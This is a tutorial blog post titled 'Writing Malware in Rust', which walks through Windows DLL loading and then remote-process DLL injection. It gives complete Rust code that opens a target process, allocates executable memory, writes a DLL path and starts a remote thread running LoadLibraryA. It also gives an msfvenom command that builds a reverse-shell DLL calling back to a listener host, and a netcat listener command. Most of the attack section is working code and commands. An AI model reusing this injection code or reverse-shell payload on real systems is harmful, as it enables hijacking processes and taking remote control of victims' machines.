Writing Malware in Rust: DLL Injection
What is DLL?
DLL stands for Dynamic Link Library. It is just an exe file but it cannot run on its own. It rather contains/hosts code in the form of functions which can be used by windows applications. This is often called a shared library (.so) on linux which does the same thing, hosts code so that other applications can use it. Some examples of dll files are kernel32.dll, ntdll.dll, user32.dll etc.
Why use DLLs?
DLLs give advantage of reusability. If you want to create a graphical user interface (GUI) application on windows then you no need to reinvent the wheel or figure how to create a gui window, instead you can use functions from the windows dlls and create gui apps like message boxes, gui windows etc. Windows also provides capability of creating processes, threads, files, etc via these dlls.
DLLs Location
Windows provide it’s functionality via dlls located in “C:\Windows\System32” for 64 bit dlls and “C:\Windows\SysWOW64” for 32 bit dlls.
DLLs in process address space
Some important dlls are already loaded when you create any process. These are the ntdll.dll, kernelbase.dll, kernel32.dll. Infact user mode process initialization is done by the loader present in ntdll.dll. It uses Ldr functions to load every necessary dll our process is using. ntdll.dll is the first dll that gets loaded.
Some DLLs loaded at same the address
DLLs like ntdll, kernel32.dll, user32.dll offer core functionality like creating windows processes, threads, files, sections etc.
every process loading these dlls will only take ram resources and can throttle the performance. That is why windows dlls with core functionality like ntdll, kernel32.dll are loaded at some address in the system’s user mode address space and are mapped into the process address space. so any function’s address of these dlls will be the same across all the processes. In the below pic we can see kernel32.dll is mapped into two different processes at the same address.
Can we modify the content at this address it reflects across all processes? The answer is no. Because windows uses PAGE_EXECUTE_WRITECOPY protection. this means when any process tries to write into this kernel32.dll address then that process gets a private copy of the dll. Other processes have legit copy.
Loading DLL in our own process using LoadLibrary
We can load a dll on disk into our own process using the function LoadLibraryA function from kernel32.dll. It takes one argument, the dll path and loads it in our process. Upon calling that function we get a handle to the dll which is actually the starting address of the loaded dll.
let dllhandle =
unsafe{LoadLibraryA("C:\\Windows\\System32\\user32.dll\0".as_bytes().as_ptr() as *const i8)};
println!("{:x?}",dllhandle);
We can see user32.dll is loaded at that address.
Finding function address using GetProcAddress
Now we can use any functions of user32.dll. To find the address of functions of user32.dll, we can parse the pe file import address table and get the address. we will be seeing parsing imports in later posts. For now we will be using the GetProcAddress function to get the function's address.
It takes two parameters, the first one is the dll handle which we got from the LoadLibrary function. the second parameter is the function name we want to find the address of.
let funcaddress = unsafe{GetProcAddress(dllhandle,
"MessageBoxA\0".as_bytes().as_ptr() as *const i8)};
println!("function address: {:x?}",funcaddress);
We got the “MessageBoxA” function address. We can use this as a function pointer and execute this function.
DLLMain
DllMain is the function that automatically gets executed whenever the dll is loaded into the process.
We can see code gets executed based on the conditions.
- DLL_PROCESS_ATTACH – when process loads the dll
- DLL_THREAD_ATTACH – when thread loads the dll
- DLL_PROCESS_DETACH – when process unloads the dll
- DLL_THREAD_DETACH – when thread unloads the dll
DLL Injection in remote process
We have seen how to load a dll and use a function. Now we will be seeing dll injection where we load dll into a remote process. The idea is to create a thread in a remote process that executes the “LoadLibrary” function with an argument of the dll file path. Let’s first create a reverse shell dll from metasploit msfconsole.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.108 LPORT=1234 -f dll -o revshell.dll
Our dll has been generated and copied into our dev/target machine. Let’s inject dll into notepadprocess.
Opening Process Handle
Let’s get a process handle using OpenProcess.
let prochandle = unsafe{OpenProcess(
PROCESS_ALL_ACCESS
,0,22376)};
unsafe{CloseHandle(prochandle)};
Finding LoadLibrary function address.
LoadLibrary is in kernel32.dll dll. To find the address, we need to get a handle to kernel32.dll and use the getprocaddress function to get the address of loadlibrary. If we find this loadlibrary’s function address in our process, it will be the same for all processes. Remember we have seen kernel32.dll is mapped at the same address for all processes. Getting handle for kernel32.dll and using GetProcAddress to get address of LoadLibrary.
let prochandle = unsafe{OpenProcess(
PROCESS_ALL_ACCESS
,0,22376)};
let dllhandle = unsafe{LoadLibraryA("C:\\Windows\\System32\\kernel32.dll\0".as_bytes().as_ptr() as *const i8)};
let loadlibraryfunctionaddress = unsafe{GetProcAddress(dllhandle,
"LoadLibraryA\0".as_bytes().as_ptr() as *const i8)};
println!("function address: {:x?}",loadlibraryfunctionaddress);
unsafe{CloseHandle(prochandle)};
We got the LoadLibraryA function address. Now we need to run CreateRemoteThread function to create a thread inside the notepad process and pass the address of LoadLibraryA function. We are missing another thing that is the dll file path. It must be passed as a parameter to the LoadLibraryA function address we got. We can store our dll file path inside the notepad process. To do that we need to allocate some memory and write the dll file path string.
let buffer = "C:\\Windows\\Temp\\revshell.dll\0".bytes().collect::<Vec<u8>>();
let stringaddress = unsafe{VirtualAllocEx(prochandle,std::ptr::null_mut(),buffer.len() ,MEM_RESERVE
|
MEM_COMMIT
,
PAGE_EXECUTE_READWRITE
)};
let res = unsafe{WriteProcessMemory(prochandle,stringaddress,buffer.as_ptr() as *const c_void,
buffer.len() ,std::ptr::null_mut())};
println!("string written at: {:x?}",stringaddress);
Those bytes have been written. Let’s create a thread using CreateRemoteThread.
Creating remote thread that loads our dll
Let’s create a remote thread and pass the thread start address as loadlibrary function’s address we found. Pass the starting address of those dll path strings we just wrote into a remote process.
let mut threadid = 0;
unsafe{CreateRemoteThread(prochandle,std::ptr::null_mut(),
0,std::mem::transmute(loadlibraryfunctionaddress),
stringaddress,std::ptr::null_mut(),&mut threadid)};
Start the listener on kali using: nc -nvlp 1234. Now run our program and we will get the shell
Full Code
let prochandle = unsafe{OpenProcess(
PROCESS_ALL_ACCESS
,0,22376)};
let dllhandle = unsafe{LoadLibraryA("C:\\Windows\\System32\\kernel32.dll\0".as_bytes().as_ptr() as *const i8)};
let loadlibraryfunctionaddress = unsafe{GetProcAddress(dllhandle,
"LoadLibraryA\0".as_bytes().as_ptr() as *const i8)};
println!("function address: {:x?}",loadlibraryfunctionaddress);
let buffer = "C:\\Windows\\Temp\\revshell.dll\0".bytes().collect::<Vec<u8>>();
let stringaddress = unsafe{VirtualAllocEx(prochandle,std::ptr::null_mut(),buffer.len() ,MEM_RESERVE
|
MEM_COMMIT
,
PAGE_EXECUTE_READWRITE
)};
let res = unsafe{WriteProcessMemory(prochandle,stringaddress,buffer.as_ptr() as *const c_void,
buffer.len() ,std::ptr::null_mut())};
println!("string written at: {:x?}",stringaddress);
let mut threadid = 0;
unsafe{CreateRemoteThread(prochandle,std::ptr::null_mut(),
0,std::mem::transmute(loadlibraryfunctionaddress),
stringaddress,0,&mut threadid)};
unsafe{CloseHandle(prochandle)};